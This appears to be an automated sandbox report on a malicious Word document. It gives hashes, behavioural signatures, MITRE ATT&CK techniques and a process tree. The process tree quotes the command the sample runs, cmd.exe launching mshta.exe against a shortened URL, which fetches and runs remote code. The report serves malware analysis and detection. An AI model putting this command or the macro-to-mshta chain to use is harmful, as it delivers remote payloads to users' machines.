a464781b616c86bbd68dbf909826444f7fd6c6ae378caf074926df7aebc4e3a1

General

Target
a464781b616c86bbd68dbf909826444f7fd6c6ae378caf074926df7aebc4e3a1.doc
Size 149KB
Sample200825-2d82bgan62
SHA256 a464781b616c86bbd68dbf909826444f7fd6c6ae378caf074926df7aebc4e3a1
MD5 c869b0fe739d0626e4474eea980dd018
SHA1 59424ba83c93fa38f7e074a9d4eefc0d0ab2ca17
SHA512 c175c5933119ac5f8c05db25abbc70d193fb2ecc070abaa41c165e7c7f26301b010ef20577c5831e0be0e681a461e51d7f76e67bf1799de397fb6a198cde69d0
MD5 SHA1 SHA512

Score

10^/10

Malware Config

Signatures

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

description	pid	pid_target	Process	procid_target
Parent C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE is not expected to spawn this process	3064	3024	explorer.exe	66

Blacklisted process makes network request 3 IoCs

flow	pid	Process
11	628	mshta.exe
13	628	mshta.exe
15	628	mshta.exe

Checks processor information in registry 2 TTPs 3 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	WINWORD.EXE

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	WINWORD.EXE

Suspicious behavior: AddClipboardFormatListener 2 IoCs

pid	Process
3024	WINWORD.EXE
3024	WINWORD.EXE

Suspicious use of SetWindowsHookEx 9 IoCs

pid	Process
3024	WINWORD.EXE
3024	WINWORD.EXE
3024	WINWORD.EXE
3024	WINWORD.EXE
3024	WINWORD.EXE
3024	WINWORD.EXE
3024	WINWORD.EXE
3024	WINWORD.EXE
3024	WINWORD.EXE

Suspicious use of WriteProcessMemory 6 IoCs

description	pid	Process	procid_target
PID 3024 wrote to memory of 3064	3024	WINWORD.EXE	70
PID 3024 wrote to memory of 3064	3024	WINWORD.EXE	70
PID 1964 wrote to memory of 3612	1964	explorer.exe	73
PID 1964 wrote to memory of 3612	1964	explorer.exe	73
PID 3612 wrote to memory of 628	3612	cmd.exe	75
PID 3612 wrote to memory of 628	3612	cmd.exe	75

C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE
"C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\a464781b616c86bbd68dbf909826444f7fd6c6ae378caf074926df7aebc4e3a1.doc" /o ""
1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:3024
- C:\Windows\explorer.exe
  "C:\Windows\explorer.exe" C:\Users\Public\ExLink.lnk
  2⤵
  - Process spawned unexpected child process
  PID:3064

C:\Windows\explorer.exe
C:\Windows\explorer.exe /factory,{75dff2b7-6936-4c06-a8bb-676a7b00b24b} -Embedding
1⤵
- Suspicious use of WriteProcessMemory
PID:1964
- C:\Windows\system32\cmd.exe
  "C:\Windows\system32\cmd.exe" /c start /b mshta.exe https://bit.ly/2SLj5Wn
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:3612
- - C:\Windows\system32\mshta.exe
    mshta.exe https://bit.ly/2SLj5Wn
    3⤵
    - Blacklisted process makes network request
    PID:628

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

2

T1012

System Information Discovery

2

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

memory/3024-0-0x00007FFF59CC0000-0x00007FFF5A386000-memory.dmp

Download

memory/3024-1-0x000002AF8B833000-0x000002AF8B842000-memory.dmp

Download

memory/3024-2-0x000002AF8B833000-0x000002AF8B842000-memory.dmp

Download

memory/3024-3-0x000002AF8B833000-0x000002AF8B842000-memory.dmp

Download

Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Enterprise v6

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Downloads